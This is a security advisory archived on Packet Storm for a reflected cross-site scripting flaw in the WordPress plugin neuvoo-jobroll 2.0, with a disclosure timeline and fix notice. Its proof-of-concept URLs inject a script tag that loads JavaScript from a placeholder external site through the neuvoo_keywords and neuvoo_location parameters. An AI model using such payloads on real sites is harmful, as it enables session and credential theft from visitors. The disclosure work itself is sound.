exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Neuvoo-Jobroll 2.0 Cross Site Scripting

WordPress Neuvoo-Jobroll 2.0 Cross Site Scripting
Posted Nov 5, 2015
Authored by Mickael Dorigny

WordPress plugin Neuvoo-Jobroll version 2.0 suffers from a reflective cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 44e3af9b0554c36be7f2fc7a780dbf9a268db0af82e45bbcade73406e807d666

WordPress Neuvoo-Jobroll 2.0 Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: Wordpress plugin neuvoo-jobroll 2.0 Reflected Cross-Site Scripting (RXSS)
# Date: 05/11/2015
# Author: Mickael Dorigny @ Synetis
# Vendor or Software Link: http://neuvoo.fr/fr
# Version: 2.0
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on : Wordpress with neuvoo-jobroll 2.0
######################################################################

Neuvoo description :
======================================================================

Neuvoo is a job offers aggregator. Through a Wordpress plugin, webmasters can insert a neuvoo search page wich will permit their user to search for jobs. Each request from a Wordpress plugin neuvoo-jobroll will be forwarded to the central Neuvoo servers, then responses will be displayed into the wordpress page through the plugin.

Vulnerability description :
======================================================================

A reflected XSS is available in the Wordpress Plugin "neuvoo-jobroll" version 2.0.

Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Wordpress login page, or capture users Wordpress credentials such cookies.

This vulnerabily is available on two GET parameters used during the request to the plugin :
- neuvoo_location=
- neuvoo_keywords=

Tested on Firefox 41.0.2.


Proof of Concept :
======================================================================

A non-persistent XSS (RXSS) in "neuvoo_keywords" and "neuvoo_location" GET parameters is present. This RXXS can be exploited only by importing another JavaScript file. Some protection don't allow the attacker to insert more than one " caractere.

Tested on Firefox 41.0.2.

PoC:
http://<URL>/<path_to_neuvoo_plugin>/index.php?neuvoo_location=France&neuvoo_keywords="><script src=https://<a website>/xss.js>&neuvoo_page=1
http://<URL>/<path_to_neuvoo_plugin>/index.php?neuvoo_location="><script src=https://<a website>/xss.js>&neuvoo_keywords=Pentester&neuvoo_page=1


In this context, the "xss.js" file contain the following JavaScript instructions :

window.onload = function(){
alert("XSS - Mickael Dorigny @MickaelDorigny - Synetis");
};


The given response will contain a part like this in its source code :

<input autocomplete="off" id="neuvoo_keywords" type="text" name="neuvoo_keywords" value="\"><script src=http://<a website>/xss.js>" placeholder="mots-clés, entreprise ..." tabindex="1"/>

Which means that the JavaScript code is interpreted.

Screenshots :
======================================================================

- https://www.information-security.fr/wp-content/uploads/2015/11/rxss-neuvoo-jobroll-plugin-08.jpg
- https://www.information-security.fr/wp-content/uploads/2015/11/rxss-neuvoo-jobroll-plugin-09.jpg


Solution:
======================================================================

A fix has been deployed by Neuvoo Development team. Uprade your Wordpress neuvoo-jobroll plugin for the next version.


Additional resources / article :
======================================================================
- https://www.information-security.fr/rxss-plugin-wordpress-neuvoo_jobroll-2-0/


Report timeline :
======================================================================

2015-10-27 : Informed Vendor about the issue (no reply)
2015-10-30 : Reminded vendor about vulnerability (no reply)
2015-11-02 : Vendor asked for more informations
2015-11-03 : Fix deployed
2015-11-05 : Public Advisory released

Credits :
======================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr

--
SYNETIS
CONTACT: www.synetis.com | www.information-security.fr
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close